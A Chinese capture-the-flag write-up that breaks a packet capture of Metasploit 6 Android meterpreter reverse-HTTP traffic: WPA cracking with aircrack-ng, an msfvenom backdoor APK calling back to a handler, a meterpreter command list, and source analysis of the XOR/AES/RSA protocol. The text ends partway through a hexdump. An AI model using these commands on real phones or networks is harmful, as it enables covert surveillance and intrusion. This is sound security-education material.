后门通信分析,比较容易的是Metasploit是开源的,故可以直接分析其后门工具meterpreter,以及对端的后门程序的源码。发现新版MSF6中的meterpreter与后门程序通信是使用了RSA和AES,即后门程序使用攻击者发过来的RSA公钥对之后通信的AES秘钥进行加密,此AES秘钥由后门程序随机生成,所以正常情况下应该是无法解密其双方通信的。但题目中公钥给了个可以被分解的素数,导致通信可被破译。另外对于密码算法的操作非常陌生,解题过程中感谢楚涵和gml的帮助。
附件:kop.pcap
- Hint for KOP: android/meterpreter_reverse_http
- Hint for KOP: Something is weak
爆破WIFI密码
802.11数据包,ssid提示密码:ByteCTF\d{8},分析有握手包,故首先用crunch生成密码字典,然后用aircrack-ng爆破密码:
➜ crunch 15 15 -t ByteCTF%%%%%%%% > pass.txt
➜ aircrack-ng -w ./pass.txt kop.pcap
Reading packets, please wait...
Opening kop.pcap
Read 5300 packets.
# BSSID ESSID Encryption
1 5A:BA:B7:D7:6D:76 ByteCTF\d{8} WPA (1 handshake)
2 60:3A:7C:BF:6B:41 1701D Unknown
Index number of target network ? 1
Aircrack-ng 1.6
[00:36:41] 20197552/100000000 keys tested (9081.62 k/s)
Time left: 2 hours, 26 minutes, 27 seconds 20.20%
KEY FOUND! [ ByteCTF20201212 ]
Master Key : 5F F0 19 03 62 60 8D C6 C3 08 67 4C 63 59 E0 D0
6B 12 BB 87 DD 16 51 7F 53 2B 7C 42 6E C2 51 2E
Transient Key : C3 D1 6B E3 AE D3 C9 83 79 31 1B EC FD 6F 65 2F
9F 99 FC 8C 64 0F B1 16 AA CE B5 FD 9A 1B E8 B2
84 39 4E 68 DC A9 5F E2 C0 C5 DC 56 49 C2 7F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 87 5E 92 BC 2F 91 CC C3 AE 71 28 A2 33 9C FA C6
爆破了半个多小时,结果:ByteCTF20201212
,然后将ByteCTF20201212:ByteCTF\d{8}
给wireshark设置好,即可让wireshark解密所有与此AP通信的流量:
如果不明白WPA2破解原理,可以参考:
后门实践
因为给了hint,所以能知道了是msf的后门流量,其实从流量里应该也能看到,发现有无线adb的install流量,应该提取出apk也能估计出的个大概。所以自己生成了一个apk玩了一下:
➜ msfvenom -p android/meterpreter_reverse_http LHOST=192.168.43.71 LPORT=6666 -o msf.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 76563 bytes
Saved as: msf.apk
➜ adb install msf.apk
Success
发现玩法还挺多:
➜ msfconsole
=[ metasploit v5.0.93-dev-d048179ff815be5f9f86712a1cf932e51a6d1911]
+ -- --=[ 2030 exploits - 1102 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload android/meterpreter_reverse_http
payload => android/meterpreter_reverse_http
msf5 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf5 exploit(multi/handler) > run
msf5 exploit(multi/handler) > run
[*] Started HTTP reverse handler on http://0.0.0.0:6666
[*] http://0.0.0.0:6666 handling request from 192.168.43.1; (UUID: ayq5vs1f) Attaching orphaned/stageless session
[*] Meterpreter session 1 opened (192.168.43.71:6666 -> 192.168.43.1:53950) at 2020-12-16 03:43:17 +0800
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getuid Get the user that the server is running as
localtime Displays the target system's local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
screenshare Watch the remote user's desktop in real time
screenshot Grab a screenshot of the interactive desktop
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Android Commands
================
Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information
Application Controller Commands
===============================
Command Description
------- -----------
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application
流量分析
跟踪tcp流定位到流37是整个后门通信的流量,也都是http流量,简单分析流程大概如下:
- 手机上的后门APK轮询给攻击机6666端口发GET的HTTP请求保活
- 攻击机的指令在200OK中返回给手机APK
- 手机后门APK的相应通过POST正文给攻击机
故重要的报文是200OK的返回报文和POST报文,报文是二进制串,找到之前的分析:
- Detecting Network Traffic from Metasploit’s Meterpreter Reverse HTTP Module
- A little entropy goes a long way
- TLV TRAFFIC OBFUSCATION
- Metasploit 6 is in progress!!!
- 使用msfvenom生成恶意APP并对该APK进行拆包分析
发现他们说的流量与给的附件里的流量,是有差异的:
- 第一篇是2015年的,流量里含有
RECV
特征串,但是题目流量没有 - 第二篇是2016年的,说流量与随机数异或了,但是具体怎么异或的没说,提到了
TLV
协议 - 第三篇是2016年的,搜
TLV+MSF
搜出来的,明确了前四个字节为异或秘钥,RECV
特征串看不到了 - 第四篇是2020年的,说MSF6的
Meterpreter
通信用AES
加密了 - 第五篇是2020年的,就是前两天的,但是分析的流量已经解到
java
层的字节码了
找到TLV的定义:维基百科:Type-length-value(拼音打这个协议是秃驴
简单看一下第一个回包:
00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000010 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 .Content -Type: a
00000020 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 pplicati on/octet
00000030 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 6e 65 63 74 -stream. .Connect
00000040 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d ion: Kee p-Alive.
00000050 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d .Server: Apache.
00000060 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content -Length:
00000070 20 33 38 37 0d 0a 0d 0a a6 a7 1f ed a6 a7 1f ed 387.... ........
00000080 a6 a7 1f ed a6 a7 1f ed a6 a7 1f ed a6 a7 1f ed ........ ........
00000090 a6 a7 1e 86 a6 a7 1f ed a6 a7 1f e1 a6 a5 1f ec ........ ........
000000A0 a6 a7 1f fd a6 a7 1f c4 a6 a6 1f ef 96 95 2f df ........ ....../.
000000B0 90 92 26 d4 9e 96 2a db 9e 94 29 d8 91 94 27 dc ..&...*. ..)...'.
000000C0 9f 95 2d df 9e 93 2f dd 94 91 2b da a6 a7 1f ec ..-.../. ..+.....
看起来真有可能是异或,根据前4个字节:a6 a7 1f ed
就是异或的秘钥。用这种方法解密我自己的msf流量,直接就能解密出全部流量,但是题目流量还是看不出东西来。后来发现我自己的msf版本不是最新版,对比新版msf源码和我自己生成apk发现函数对不上,故题目意图已然清晰明了:分析最新版msf6的android/meterpreter_reverse_http后门流量
源码分析
metasploit是开源的,后门代码在metasploit-payloads里的java目录下,直接在源码中搜xor,找到关键代码:
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java
protected TLVPacket readAndDecodePacket(DataInputStream in) throws IOException {
byte[] header = new byte[32];
in.readFully(header);
byte[] clonedHeader = header.clone();
byte[] xorKey = new byte[4];
this.arrayCopy(header, 0, xorKey, 0, 4);
// XOR the whole header first
this.xorBytes(xorKey, header);
// extract the length
int bodyLen = this.readInt(header, 24) - 8;
byte[] body = new byte[bodyLen];
in.readFully(body);
// create a complete packet and xor the whole thing. We do this becauase we can't
// be sure that the content of the body is 4-byte aligned with the xor key, so we
// do the whole lot to make sure it behaves
byte[] packet = new byte[clonedHeader.length + body.length];
this.arrayCopy(clonedHeader, 0, packet, 0, clonedHeader.length);
this.arrayCopy(body, 0, packet, clonedHeader.length, body.length);
this.xorBytes(xorKey, packet);
this.arrayCopy(packet, 32, body, 0, body.length);
int encFlag = this.readInt(packet, 20);
if (encFlag != ENC_NONE && this.aesKey != null) {
try
{
body = aesDecrypt(body);
}
catch(Exception e)
{
// if things go back we're basically screwed.
return null;
}
}
ByteArrayInputStream byteStream = new ByteArrayInputStream(body, 0, body.length);
DataInputStream inputStream = new DataInputStream(byteStream);
TLVPacket tlvPacket = new TLVPacket(inputStream, body.length);
inputStream.close();
return tlvPacket;
}
发现这里XOR之后正文还是需要AES加解密的:
protected byte[] aesDecrypt(byte[] data) throws Exception {
byte[] iv = new byte[16];
byte[] encrypted = new byte[data.length - iv.length];
this.arrayCopy(data, 0, iv, 0, iv.length);
this.arrayCopy(data, iv.length, encrypted, 0, encrypted.length);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
SecretKeySpec keySpec = new SecretKeySpec(this.aesKey, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
synchronized(cipher) {
cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);
return cipher.doFinal(encrypted);
}
}
搜索设置aeskey的方法:
public void setAesEncryptionKey(byte[] aesKey) {
this.aesKey = aesKey;
this.aesEnabled = false;
}
收到调用这个设置aeskey的方法的位置:
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java
public class core_negotiate_tlv_encryption implements Command {
private static final SecureRandom sr = new SecureRandom();
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
byte[] der = request.getRawValue(TLVType.TLV_TYPE_RSA_PUB_KEY);
int encType;
byte[] aesKey;
if (Cipher.getMaxAllowedKeyLength("AES") < 256) {
encType = Transport.ENC_AES128;
aesKey = new byte[16];
} else {
encType = Transport.ENC_AES256;
aesKey = new byte[32];
}
sr.nextBytes(aesKey);
try
{
PublicKey pubKey = getPublicKey(der);
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(Cipher.ENCRYPT_MODE, pubKey);
response.add(TLVType.TLV_TYPE_ENC_SYM_KEY, cipher.doFinal(aesKey));
}
catch(Exception e)
{
response.add(TLVType.TLV_TYPE_SYM_KEY, aesKey);
}
response.add(TLVType.TLV_TYPE_SYM_KEY_TYPE, encType);
meterpreter.getTransports().current().setAesEncryptionKey(aesKey);
return ERROR_SUCCESS;
}
private PublicKey getPublicKey(byte[] der) {
try
{
X509EncodedKeySpec spec = new X509EncodedKeySpec(der);
return KeyFactory.getInstance("RSA").generatePublic(spec);
}
catch(Exception e)
{
return null;
}
}
}
发现这里是随机生成的AES秘钥,然后通过接收到的公钥使用RSA把AES的秘钥发出去,搜到TLVType
类型参数定义:
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVType.java
// TLV Encryption
public static final int TLV_TYPE_RSA_PUB_KEY = TLVPacket.TLV_META_TYPE_RAW | 550;
public static final int TLV_TYPE_SYM_KEY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 551;
public static final int TLV_TYPE_SYM_KEY = TLVPacket.TLV_META_TYPE_RAW | 552;
public static final int TLV_TYPE_ENC_SYM_KEY = TLVPacket.TLV_META_TYPE_RAW | 553;
搜到TLV_META_TYPE_RAW
的类型参数定义:
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TLVPacket.java
public class TLVPacket {
// constants
public static final int TLV_META_TYPE_UINT = (1 << 17);
public static final int TLV_META_TYPE_RAW = (1 << 18);
至此已经基本明白这个流量中的数据是怎么组织的了,也就是TLVPacket
协议流程
报文的前4个字节为随机key,负责异或全文,异或完成之后是被AES加密的TLV格式报文。AES秘钥由后门APK侧随机生成,并用攻击者侧发过来的公钥进行加密后发送给攻击者。
故协议流程为:
- 后门APK给攻击者侧发GET请求包
- 攻击者侧给APK侧回RSA公钥
- APK侧给攻击者侧发RSA公钥加密后的AES秘钥
- 之后双方采用AES加密通信
- XOR异或发生在每次报文的最后一层
解题
故按协议流程来说,这流量没法解,RSA的公私钥应该是攻击者侧生成的,那肯定白扯了,但是第二个hint说Something is weak
,也许是RSA的大数不安全?解完发现还真是,所以这题现实意义不大,意义只在于了解新版MSF
的android/meterpreter_reverse_http
的协议分析。
物料
RSA公钥流量
00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000010 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 .Content -Type: a
00000020 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 pplicati on/octet
00000030 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 6e 65 63 74 -stream. .Connect
00000040 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d ion: Kee p-Alive.
00000050 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d .Server: Apache.
00000060 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content -Length:
00000070 20 33 38 37 0d 0a 0d 0a a6 a7 1f ed a6 a7 1f ed 387.... ........
00000080 a6 a7 1f ed a6 a7 1f ed a6 a7 1f ed a6 a7 1f ed ........ ........
00000090 a6 a7 1e 86 a6 a7 1f ed a6 a7 1f e1 a6 a5 1f ec ........ ........
000000A0 a6 a7 1f fd a6 a7 1f c4 a6 a6 1f ef 96 95 2f df ........ ....../.
000000B0 90 92 26 d4 9e 96 2a db 9e 94 29 d8 91 94 27 dc ..&...*. ..)...'.
000000C0 9f 95 2d df 9e 93 2f dd 94 91 2b da a6 a7 1f ec ..-.../. ..+.....
000000D0 88 a7 1b ef 80 97 9d ec 84 97 12 eb af 8d 99 a5 ........ ........
000000E0 20 50 12 ec a7 a6 1a ed a5 25 1e e2 a6 97 9d ec P...... .%......
000000F0 ac a5 9d ec a7 a7 8a 90 ec 4a 56 3d da 8a 0d b2 ........ .JV=....
00000100 93 5a f0 65 bc 0a 3c 72 64 46 78 8d b0 15 3b 77 .Z.e..<r dFx...;w
00000110 0e b4 5c 8c 5c 43 53 ff 2f 6c b5 df 03 5d 95 62 ..\.\CS. /l...].b
00000120 2f 5f 98 f9 66 37 08 0f 00 a8 79 b3 82 dd f2 3e /_..f7.. ..y....>
00000130 1e 2b 30 65 5b 86 44 fb c6 d3 dc 49 ee eb f1 bd .+0e[.D. ...I....
00000140 78 a6 58 26 aa c7 d0 7b 5b 8f 97 29 2d b8 74 cd x.X&...{ [..)-.t.
00000150 1b 9f 12 0f a9 79 8f 09 0d 3b d5 0b 1d 46 5e b8 .....y.. .;...F^.
00000160 01 da 98 69 de 20 32 50 4e 02 5c 37 07 04 b2 a9 ...i. 2P N.\7....
00000170 74 6c 88 56 84 c0 1b 91 b8 43 98 32 92 61 d2 8c tl.V.... .C.2.a..
00000180 ee 21 62 59 36 ff a6 c7 d7 7d 5d 74 5e 33 48 bf .!bY6... .}]t^3H.
00000190 6f fe 31 a1 88 d4 9e ca 9e 78 05 c2 31 63 f9 36 o.1..... .x..1c.6
000001A0 2a 17 a5 dc 6c 0a be ac b7 20 ff 58 7c e8 63 19 *...l... . .X|.c.
000001B0 ec 14 92 b5 16 c9 2e e6 e0 00 48 b1 b2 ca dd 6c ........ ..H....l
000001C0 74 1b c0 bb 40 b9 f5 7b 8e 37 6c 04 6c 67 ec 3b t...@..{ .7l.lg.;
000001D0 08 d4 77 47 9e d1 bd d0 9f 19 9d 85 aa dd 26 3d ..wG.... ......&=
000001E0 6e d7 84 9c 5d 69 7e e1 b9 31 54 76 d7 49 48 af n...]i~. .1Tv.IH.
000001F0 3e ee fe 05 4f 28 1d ee a7 a7 1e >...O(.. ...
AES秘钥流量
000001A1 50 4f 53 54 20 2f 49 77 6f 30 30 67 75 6c 4c 65 POST /Iw o00gulLe
000001B1 77 4e 4e 67 34 6c 55 76 37 31 42 41 75 34 71 76 wNNg4lUv 71BAu4qv
000001C1 54 5a 49 69 4d 72 43 39 79 67 55 57 51 4c 4c 67 TZIiMrC9 ygUWQLLg
000001D1 61 55 76 31 6f 53 30 41 73 50 52 7a 46 6d 6b 4e aUv1oS0A sPRzFmkN
000001E1 6b 46 4c 48 64 68 6e 67 6a 70 49 2d 78 4d 2d 62 kFLHdhng jpI-xM-b
000001F1 4a 6d 44 6a 4c 2d 4b 32 4a 39 56 65 49 69 74 77 JmDjL-K2 J9VeIitw
00000201 48 52 45 54 64 47 76 32 47 34 2d 62 47 76 6b 4e HRETdGv2 G4-bGvkN
00000211 36 68 6f 31 39 5a 34 6c 66 6e 64 79 33 58 5a 53 6ho19Z4l fndy3XZS
00000221 70 42 34 50 48 79 2d 6a 32 42 4c 30 4b 2d 6b 36 pB4PHy-j 2BL0K-k6
00000231 61 6d 71 41 68 61 4e 43 67 44 36 35 76 66 6c 58 amqAhaNC gD65vflX
00000241 37 78 56 64 64 68 37 51 49 33 63 4c 4e 4d 6a 45 7xVddh7Q I3cLNMjE
00000251 73 6f 55 6f 57 78 78 62 64 55 71 63 53 6e 4e 34 soUoWxxb dUqcSnN4
00000261 38 72 58 6d 61 76 46 58 72 56 33 55 2d 38 46 67 8rXmavFX rV3U-8Fg
00000271 51 74 41 56 6e 31 4e 4b 38 75 35 78 68 69 67 4d QtAVn1NK 8u5xhigM
00000281 56 45 6d 62 66 56 39 54 67 7a 49 41 4d 64 52 33 VEmbfV9T gzIAMdR3
00000291 31 36 4d 33 4e 38 52 69 4a 61 2f 20 48 54 54 50 16M3N8Ri Ja/ HTTP
000002A1 2f 31 2e 31 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 /1.1..Co ntent-Ty
000002B1 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f pe: appl ication/
000002C1 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e x-www-fo rm-urlen
000002D1 63 6f 64 65 64 0d 0a 55 73 65 72 2d 41 67 65 6e coded..U ser-Agen
000002E1 74 3a 20 44 61 6c 76 69 6b 2f 32 2e 31 2e 30 20 t: Dalvi k/2.1.0
000002F1 28 4c 69 6e 75 78 3b 20 55 3b 20 41 6e 64 72 6f (Linux; U; Andro
00000301 69 64 20 38 2e 31 2e 30 3b 20 50 69 78 65 6c 20 id 8.1.0 ; Pixel
00000311 32 20 42 75 69 6c 64 2f 4f 50 4d 31 2e 31 37 31 2 Build/ OPM1.171
00000321 30 31 39 2e 30 31 31 29 0d 0a 48 6f 73 74 3a 20 019.011) ..Host:
00000331 31 39 32 2e 31 36 38 2e 32 2e 31 3a 36 36 36 36 192.168. 2.1:6666
00000341 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 ..Connec tion: Ke
00000351 65 70 2d 41 6c 69 76 65 0d 0a 41 63 63 65 70 74 ep-Alive ..Accept
00000361 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d -Encodin g: gzip.
00000371 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content -Length:
00000381 20 33 37 33 0d 0a 0d 0a 3a 7b e6 af 3a 7b e6 af 373.... :{..:{..
00000391 3a 7b e6 af 3a 7b e6 af 3a 7b e6 af 3a 7b e6 af :{..:{.. :{..:{..
000003A1 3a 7b e7 f2 3a 7b e6 ae 3a 7b e6 a3 3a 79 e6 ae :{..:{.. :{..:y..
000003B1 3a 7b e6 bf 3a 7b e6 86 3a 7a e6 ad 0a 49 d6 9d :{..:{.. :z...I..
000003C1 0c 4e df 96 02 4a d3 99 02 48 d0 9a 0d 48 de 9e .N...J.. .H...H..
000003D1 03 49 d4 9d 02 4f d6 9f 08 4d d2 98 3a 7b e6 ae .I...O.. .M..:{..
000003E1 32 7b e2 ad 13 f8 4c 14 f9 f7 a0 fa 3b 73 51 36 2{....L. ....;sQ6
000003F1 9b 73 12 a3 ef 2f e3 db a4 ef c9 33 fc 82 2b 9e .s.../.. ...3..+.
00000401 d8 95 cc 41 cd aa e8 8a bb 46 f2 56 c3 4e 39 47 ...A.... .F.V.N9G
00000411 8f e1 3e 2b 67 89 9c 74 23 48 39 f2 43 1d 62 af ..>+g..t #H9.C.b.
00000421 a4 b4 90 fe da 3e ea b7 83 66 32 ef e8 33 20 b3 .....>.. .f2..3 .
00000431 c2 f8 0f 9d de c9 ef 56 22 fb 22 6a ef 35 22 3b .......V "."j.5";
00000441 be 38 fa 8f 29 78 29 d5 7d a4 2d 1f d2 79 08 33 .8..)x). }.-..y.3
00000451 63 d4 fa 43 d2 57 94 10 65 ec bf 9f c4 a2 41 e9 c..C.W.. e.....A.
00000461 63 06 98 2e 4b 73 42 d0 bf 21 51 a4 f7 8e 9b f2 c...KsB. .!Q.....
00000471 91 ef d5 53 e6 21 04 04 d7 f1 9f 71 b6 59 1e d0 ...S.!.. ...q.Y..
00000481 c9 66 b9 b4 24 bd 45 73 9c a2 65 57 87 b3 10 1f .f..$.Es ..eW....
00000491 c0 f2 a0 c9 df 2c 6e 18 7e 9d c5 82 b6 f3 b1 38 .....,n. ~......8
000004A1 d9 68 96 40 15 24 a7 50 2b ad 61 9b 41 1c 36 d8 .h.@.$.P +.a.A.6.
000004B1 23 2a 99 12 bd f8 ee 2c bf f9 16 5a a8 86 e6 4a #*....., ...Z...J
000004C1 f7 d2 b5 47 e4 e5 74 49 43 54 da fe af 1e 18 94 ...G..tI CT......
000004D1 c4 f2 a4 33 dc 24 ff d1 34 1d 7e c1 97 3b 57 df ...3.$.. 4.~..;W.
000004E1 15 ec 53 84 ca 7b e6 af 36 7b e4 ad 1d 7b e6 af ..S..{.. 6{...{..
000004F1 3b 7b e6 af 36 7b e4 af 3e 7b e6 af 3a ;{..6{.. >{..:
AES加密流量
00000271 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000281 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 .Content -Type: a
00000291 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 pplicati on/octet
000002A1 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 6e 65 63 74 -stream. .Connect
000002B1 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d ion: Kee p-Alive.
000002C1 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d .Server: Apache.
000002D1 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a .Content -Length:
000002E1 20 31 31 32 0d 0a 0d 0a 92 f3 76 fa 92 f3 76 fa 112.... ..v...v.
000002F1 92 f3 76 fa 92 f3 76 fa 92 f3 76 fa 92 f3 76 fb ..v...v. ..v...v.
00000301 92 f3 76 a2 92 f3 76 fa 42 55 2a 9a 7d 23 50 47 ..v...v. BU*.}#PG
00000311 7b 95 16 42 32 f9 54 a3 d8 d2 b8 77 a4 65 52 ca {..B2.T. ...w.eR.
00000321 be 89 12 42 c9 8c c5 55 81 41 93 67 f8 0d 08 73 ...B...U .A.g...s
00000331 eb 1b b5 40 4e 4a 24 05 69 67 10 18 63 6f de e8 ...@NJ$. ig..co..
00000341 0b fd 60 2b 16 2b 66 14 e0 02 6c 43 7b 8e 16 1e ..`+.+f. ..lC{...
00000351 2a 43 02 07 e8 ed 6d ab *C....m.
解出公钥与大数分解
异或解密第一个发送公钥的数据包:
pub = "a6a71feda6a71feda6a71feda6a71feda6a71feda6a71feda6a71e86a6a71feda6a71fe1a6a51feca6a71ffda6a71fc4a6a61fef96952fdf909226d49e962adb9e9429d8919427dc9f952ddf9e932fdd94912bdaa6a71fec88a71bef80979dec849712ebaf8d99a5205012eca7a61aeda5251ee2a6979decaca59deca7a78a90ec4a563dda8a0db2935af065bc0a3c726446788db0153b770eb45c8c5c4353ff2f6cb5df035d95622f5f98f96637080f00a879b382ddf23e1e2b30655b8644fbc6d3dc49eeebf1bd78a65826aac7d07b5b8f97292db874cd1b9f120fa9798f090d3bd50b1d465eb801da9869de2032504e025c370704b2a9746c885684c01b91b84398329261d28cee21625936ffa6c7d77d5d745e3348bf6ffe31a188d49eca9e7805c23163f9362a17a5dc6c0abeacb720ff587ce86319ec1492b516c92ee6e00048b1b2cadd6c741bc0bb40b9f57b8e376c046c67ec3b08d477479ed1bdd09f199d85aadd263d6ed7849c5d697ee1b9315476d74948af3eeefe054f281deea7a71e"
def de(a):
b = a.decode("hex")
key = [ord(b[0]),ord(b[1]),ord(b[2]),ord(b[3])]
c = ""
for i in range(len(b)):
c += chr( ord(b[i]) ^ (key[i%4]))
print c
de(pub)
观察整个数据包:
➜ python exp.py | hexyl
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│
│00000010│ 00 00 00 00 00 00 00 00 ┊ 00 00 01 6b 00 00 00 00 │00000000┊00•k0000│
│00000020│ 00 00 00 0c 00 02 00 01 ┊ 00 00 00 10 00 00 00 29 │000_0•0•┊000•000)│
│00000030│ 00 01 00 02 30 32 30 32 ┊ 36 35 39 39 38 31 35 36 │0•0•0202┊65998156│
│00000040│ 38 33 36 35 37 33 38 31 ┊ 39 32 32 32 38 34 30 30 │83657381┊92228400│
│00000050│ 32 36 34 37 00 00 00 01 ┊ 2e 00 04 02 26 30 82 01 │2647000•┊.0••&0ו│
│00000060│ 22 30 0d 06 09 2a 86 48 ┊ 86 f7 0d 01 01 01 05 00 │"0_•_*×H┊××_••••0│
│00000070│ 03 82 01 0f 00 30 82 01 ┊ 0a 02 82 01 01 00 95 7d │•ו•00ו┊_•ו•0×}│
│00000080│ 4a ed 49 d0 7c 2d 12 5f ┊ 35 fd ef 88 1a ad 23 9f │J×I×|-•_┊5××ו×#×│
│00000090│ c2 e1 67 60 16 b2 24 9a ┊ a8 13 43 61 fa e4 4c 12 │××g`•×$×┊וCa××L•│
│000000a0│ 89 cb aa 32 a5 fa 8a 8f ┊ 89 f8 87 14 c0 90 17 e2 │×××2××××┊××ו×ו×│
│000000b0│ a6 0f 66 5e 24 7a ed d3 ┊ b8 8c 2f 88 fd 21 5b 16 │וf^$z××┊××/××![•│
│000000c0│ 60 74 c3 a4 48 4c ee 50 ┊ de 01 47 cb 0c 60 cf 96 │`t××HL×P┊וG×_`××│
│000000d0│ fd 28 88 c4 8b 1f 6b 20 ┊ bd 38 0d e2 0f de 90 e4 │×(××וk ┊×8_ו×××│
│000000e0│ ab 9c ca e6 bb e1 41 55 ┊ a7 7d 87 84 78 87 2d bd │××××××AU┊×}××x×-×│
│000000f0│ e8 a5 43 da a1 a3 ad 44 ┊ d2 cb 97 bb 22 67 04 7c │××C××××D┊××××"g•|│
│00000100│ 1e e4 87 df 34 c6 cd 61 ┊ 48 86 7d b4 90 58 b9 2a │•×××4××a┊H×}××X×*│
│00000110│ 71 da 42 99 f8 94 57 52 ┊ c9 59 2e 4c 2e 73 81 27 │q×B×××WR┊×Y.L.s×'│
│00000120│ 38 df 1a 2f 97 c4 e6 db ┊ 8c b0 ba 31 ca ad a1 41 │8ו/××××┊×××1×××A│
│00000130│ 11 87 e0 b5 da 4f 7c f4 ┊ 4a b3 8d 58 b0 6e 31 0b │•××××O|×┊J××X×n1•│
│00000140│ 46 a7 57 5c 14 6d c2 81 ┊ d2 bc df 56 e6 1e ea 96 │F×W\•m××┊×××Vו××│
│00000150│ 28 90 73 e9 ca c0 f3 d6 ┊ ae 73 68 aa 38 76 a2 3d │(×s×××××┊×sh×8v×=│
│00000160│ 39 be 82 68 0c 7a 39 d0 ┊ c8 70 9b 71 fb ce 61 0c │9××h_z9×┊×p×q××a_│
│00000170│ 1f 96 4b 9b 71 ee 57 42 ┊ 98 49 e1 e8 e9 8f 02 03 │•×K×q×WB┊×I×××ו•│
│00000180│ 01 00 01 0a ┊ │•0•_ ┊ │
